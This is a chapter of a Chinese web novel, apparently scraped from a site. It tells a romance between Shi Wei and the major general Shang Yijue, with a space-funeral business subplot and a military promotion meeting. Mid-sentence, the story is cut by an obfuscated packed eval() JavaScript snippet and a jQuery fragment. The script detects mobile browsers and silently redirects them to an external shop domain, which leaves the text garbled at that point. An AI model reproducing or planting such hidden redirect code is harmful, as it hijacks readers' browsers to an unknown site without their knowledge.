时维心情复杂。
原来是尧尧,不是摇摇。
可如果梦中商以诀念着的是李浮尧,时维又怎么会做那个梦?
也就是说,自己代入李浮尧,做了一场翻云覆雨的梦,另一个主角还是商以诀。
这不对吧?
好烧脑,感觉要长脑子了。
“那李浮尧现在……”
话刚说一半,寒意又在空气中聚集。
这家伙能不能不要莫名其妙放冷气啊?他不提李浮尧的名字还不行吗?
而且为什么自己一提起李浮尧,商以诀的脸色就会变臭?
等等。
时维瞳孔地震。
难道说……真正的白月光早已退出三个人的感情,商以诀和李浮尧看似闹得不可开交,实则只是情侣之间小打小闹的情趣。
两人冷战,所以商以诀找到酷似白月光的自己,故意气李浮尧。
也就是因此,自己一提李浮尧他就生气。
因为时维只是一个替身,没有资格提李浮尧的名字。
时维恍然大悟——原来剧情是这个走向么?
所以他连真正意义上的替身都算不上是吗?
不想清楚还好,一想清楚,时维心里跟堵了块石头似的,还有人不断在往里面倒醋,醋沿着石头边缘滴落。
时维咂巴着嘴——有点嫉妒李浮尧呢。
嫉妒是正常的。毕竟商以诀帅气多金、有权有势还专一,有这样的情绪是正常的。
时维告诉自己。
反正自己都要离开,在离开前的这段时间里,他会扮演好替身的角色,努力撮合二人。
时维抬起头故作轻松道:“少将,你易感期结束了?”
恰巧这时,电话铃声响了。
商以诀看了他一眼,时维轻轻点头。他接通电话,走到窗边。
时维眼神落到商以诀背影上,听到他在和电话那头的人说着“投资人”什么。
还投资人。
时维酸溜溜地想。
时维靠坐在床上,目光沿着他的背脊而下。
不得不说商以诀长得很符合他的审美——身高腿长,宽肩窄腰。
随着商以诀的动作,后颈露出些许肌肤,上面布满已经愈合的针孔。
那天找抑制剂的时候时维看过一眼,注射器的针头比他想象中粗得多。
时维感叹自己还好不是Alpha或者Omega,否则这么粗的针头扎进后颈的腺体,他都不敢想象会有多疼。
而商以诀每次易感期要往后颈扎十多针,没被扎成马蜂窝算他自愈能力强。
时维不理解——李浮尧长着一张很刻板的Omega甜美脸,商以诀为什么宁愿挨十多针也不愿意找喜欢的Omega度过易感期。
难道这背后还有什么不为人知的隐情?
难道说,这剧情又双叒叕有别的走向?白月光的确存在,所以商以诀才会为他守身如玉?
脑子痒痒的。
商以诀换了只手接电话,另一只手垂落身侧,时维看见上面有几个清晰的咬痕,看上去还咬得不轻。
时维一怔——商以诀没事咬自己干嘛?
长得很符合时维审美的人挂了电话,转过身,两人视线交融。
时维撇开眼,听见商以诀说:“我有点事情要办,要离开几天。”
我有点事情要办。
时维在心底阴阳怪气学他说话。
该不会是要送自己的前未婚夫回家吧?
时维面上不显,乖乖应了声好。
商以诀离开房间,在门口顿了顿:“等我回来,带你出去玩。”
时维一怔,还没反应过来,商以诀便离开了。
-
商以诀走得快,张叔提着一只小箱子小跑着跟在他身后。
有人拉开车门,商以诀径直上了车。
张叔绕到车后将箱子安置妥当后,来到车边。
商以诀是张叔看着长大的,再怎么变在张叔眼中也只是个孩子。
他满眼不放心地叮嘱商以诀:“少将,要多注意身体。”
商以诀抬头看了他一眼,淡淡应了声。
商以诀探头看向驾驶座准备让司机出发,顿了顿又看向张叔:“我不在的这几天多做些补血的菜品,喝的也是——上次那个红枣桂圆茶就不错。”
张叔点头:“好的少将。”
商以诀收回视线,顿了顿又看向车窗外的张叔:“但红枣桂圆茶容易上火,别让他喝多了,不然又要流鼻血,适当换换其他的。”
张叔再次点头:“好的少将。”
“对了——少给他喝冰的,本来身子就弱。”商以诀皱了皱眉,补充道,“撒娇也不许给他。”
张叔说:“好的,少将。”
商以诀想了想,对司机道:“没什么了,走吧。”
张叔微笑:“少将,路上小心。”
车辆刚发动,商以诀又道:“再等一下——张叔,下午阳光晒,别让他在那个时候出去。”
“……”
“晚上也少出去,蚊虫多。”
“……”张叔沉默片刻,“好的,少将。”
“对了……”
张叔打断他:“少将,您就放心吧,时先生都这么大的人了,又有我们好几个人盯着,能出什么事?您放心——补血的菜品和饮品天天供应,我会看着他吃下去喝下去的,也会盯着时先生不让他下午和晚上到户外去的——小高,开车!少将有事马上就要来不及了!快,开车——”
说着,轿车发动了,张叔看着欲言又止的商以诀,微笑着挥了挥手。
-
“商总,这里是几家符合要求的民营星际航线公司,其中报价最低的是这一家。”吴秘书推了推眼镜,手指在文件上一指,“星火航迹,算是星际旅行行业里的头部公司——这一家不仅报价最低,而且在其余方面也很符合我们的要求。”
商以诀接过文件细细阅读,吴秘书看了看他的神色,道:“但是……星火航迹有一个要求——他们想要入股。”
商以诀翻阅文件的动作一顿,把文件扔回办公桌:“下一家。”
“宇宙航线。”吴秘书大气也不敢出,递上一只文件夹,“这是一家刚成立不久的企业,背靠Space公司,同时还有数家私募基金投资,目前正处于上升阶段。”
商以诀接过文件,头也不抬:“他们在哪里?”
“西边靠近郊区的地方,坐飞船大约半小时。”
商以诀把文件还给吴秘书:“收拾一下,我马上去。”
“是。”
吴秘书回办公室叫上几个人,跟着商以诀浩浩荡荡进了电梯。
几人缩在电梯角落,尽可能贴墙而立,商以诀身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929571|213596||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
边空出一圈位置。
电梯里跟有鬼一样安静。
吴秘书不动声色打量着老板——听说这商总来头不小,先是一掷千金注册了家公司,随后在短短数天内解决了经营资质、备案许可、消防安全检查等问题——这可不仅仅是有钱就能办到的。
而且这家公司业务极其特别,放眼整个星系,恐怕也没有商业企业办理相关业务。
这家公司名叫“星愈”,目前只有一项业务——那就是还没有真正意义上成功案例的太空葬礼。
吴秘书在心底激动握拳——这可是蓝海市场呀!否则的话,他也不必辞掉上一份待遇不错的工作,跳槽到这里来了。
“叮”的一声,电梯到了。
电梯门打开,吴秘书一眼就看到大厅中站着个身穿军装的人,更远处还站着几名同样穿着的士兵。
发生什么事了?
这个念头只是浅浅从他脑海里飘过,吴秘书并未多想,谁知下一刻,商以诀竟朝着他们走去。
“少将。”那人严肃又敬重,“有一件事,您必须回一趟封闭区。”
-
亲自去宇宙航线实地走访的计划泡汤,商以诀跟吴秘书交代了些注意事项,便跟着副将回到了封闭区。
封闭区有封闭区的要求,穿着不能像在外那般随意。商以诀先回了趟宿舍,换了身较为正式的军装。
推开会议室的门,数只眼睛一齐朝商以诀看了过来。
“哟,商少将大忙人呀,这么多人就等你一个。”
商以诀看向正发表阴阳怪气言论的Alpha——周子州微微后仰,靠着椅背,眉眼间带着讥笑。
商以诀的眼神并未在那和时维有几分相似的眉眼上停顿:“嗯,抱歉让大家久等,有点事来晚了。”
周子州一撇嘴,冷笑了一声。
商以诀落了座,会议正式开始。
会议的一二部分都是些场面话,讲的人醉翁之意不在酒,听的人更是心不在焉。
“第三部分——是之前讨论过的议题。”章波抬眼,从会议室众人脸上一扫而过,最终停留在商以诀脸上,“关于晋升中将一事——商少将,你考虑得怎么样了?”
会议室本就安静,章波抛出这个问题后,更是安静得连旁边的人咽口水的声音都能听见。
众人都在等待商以诀的答案。
他淡淡道:“承蒙上将的栽培提拔,以及各位同僚的信任支持,将此次晋升机会交付于我。”
商以诀此话一出,会议室众人脸色各异。
周子州不断轻摇面前的一次性纸杯,看里面的茶叶浮浮沉沉,食指一下又一下敲击着杯身;山柳轻轻咬着脸颊内侧的软肉,盯着商以诀,仿佛要从他脸上看出朵花儿来。
商以诀从这些神色各异的脸上一扫而过,忽然感到恶心。
明明几乎什么都没付出,却什么都想要得到。
那明明是时维的东西。
只要今天他还在这里,那就谁也不许拿,谁也不许要。
商以诀垂下眼,敛去眼底的情绪:
“但是,时维少将带领的军队死伤惨重,除他以外更是无人生还。而即便是侥幸活下来的他,也因伤势过重而无法见人——我觉得,如果不是他获得此次晋升的机会,那么对所有人而言都不公平。”
会议室如同下了油的开水锅,一下子热闹起来。